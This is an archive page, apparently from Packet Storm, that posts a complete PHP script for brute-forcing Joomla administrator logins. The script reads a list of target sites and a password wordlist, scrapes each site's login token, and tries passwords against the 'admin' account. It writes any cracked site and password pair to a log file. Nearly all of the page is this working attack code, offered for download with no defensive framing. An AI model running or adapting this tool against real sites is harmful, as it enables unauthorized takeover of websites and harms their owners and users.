what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla Admin Panel Bruteforcer

Joomla Admin Panel Bruteforcer
Posted Jul 28, 2012
Authored by miyachung

This is a php script that takes a list of sites and password possibilities and runs as a cracker against Joomla administrative panels.

tags | cracker, php
SHA-256 | 974b9077b4f38d6b7f57f47c692af49a1e15451c3a0e96836e451c9e45bcb875

Joomla Admin Panel Bruteforcer

Change Mirror Download
<?php
set_time_limit(0);
/*
* Joomla Brute Forcer
* Coded by miyachung
* miyachung@hotmail.com
* Janissaries.Org
* Special Thanks burtay
* Usage-> php Bruter.php SITELIST PASSWORDS
* Example-> php Bruter.php SITES.txt PASSWORDS.txt
*/


class jom
{

public $sites;
public $wordlist;
private $user = "admin";
private $regex = "/([0-9a-f]{32})/si";
private $timeout = 7;
private $cookie_file = "cookie.jani";
private $log_file = "cracks.txt";

private function save_File($content)
{
$fp = fopen($this->log_file,'ab');
fwrite($fp,$content);
fclose($fp);
if($fp)
{
return true;
}
else
{
return false;
}
}
private function get_Hash($site)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
curl_setopt($curl,CURLOPT_COOKIEJAR,$this->cookie_file);
curl_setopt($curl,CURLOPT_TIMEOUT,$this->timeout);
$play = curl_exec($curl);
curl_close($curl);
if(preg_match('#value="com_login"#si',$play))
{
preg_match($this->regex,$play,$hash);
return $hash[1];
}
else
{
echo "[-]Hash not found,passing site\n";
return false;
}
}
private function tryPassword($site,$password,$hash)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curl,CURLOPT_POST,TRUE);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,TRUE);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
curl_setopt($curl,CURLOPT_COOKIEFILE,$this->cookie_file);
curl_setopt($curl,CURLOPT_TIMEOUT,$this->timeout);
curl_setopt($curl,CURLOPT_POSTFIELDS,"username=".$this->user."&passwd=".$password."&lang=&option=com_login&task=login&".$hash."=1");
$play = curl_exec($curl);
curl_close($curl);
return $play;
}
public function bruter()
{
$sites = explode("\n",file_get_contents($this->sites));

foreach($sites as $site)
{
if(!preg_match('#http#si',$site)) $site = "http://".$site;
$site = trim($site);
echo "\n[+]$site\n";
$hash = $this->get_Hash($site);
if(!$hash){continue;}
echo "[+]$hash\n";

$wordlist = explode("\n",file_get_contents($this->wordlist));
foreach($wordlist as $password)
{
$try = $this->tryPassword($site,trim($password),$hash);
if(preg_match("/com_config/si",$try))
{
echo "\n\t[*]Password cracked-> ".$password."\n";
echo "\t[*]Saved to the log file\n";
$this->save_File("$site|$password\r\n");
break;
}

}
}
}
}

if(!$argv[1] || !$argv[2])
{
echo "################################################\n";
echo "\t\tJoomla Brute Forcer\n";
echo "\t\tCoded By miyachung\n";
echo "\t\tJanissaries.Org\n";
echo "################################################\n";
echo "\n[-]Missing arguments\n";
exit;
}
elseif(!file_exists($argv[1]) OR !file_exists($argv[2]))
{
echo "################################################\n";
echo "\t\tJoomla Brute Forcer\n";
echo "\t\tCoded By miyachung\n";
echo "\t\tJanissaries.Org\n";
echo "################################################\n";
echo "\n[-]File not found\n";
exit;
}
else
{
echo "################################################\n";
echo "\t\tJoomla Brute Forcer\n";
echo "\t\tCoded By miyachung\n";
echo "\t\tJanissaries.Org\n";
echo "################################################\n";

$jom = new jom;
$jom->sites = $argv[1];
$jom->wordlist = $argv[2];
$jom->bruter();
}

?>
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close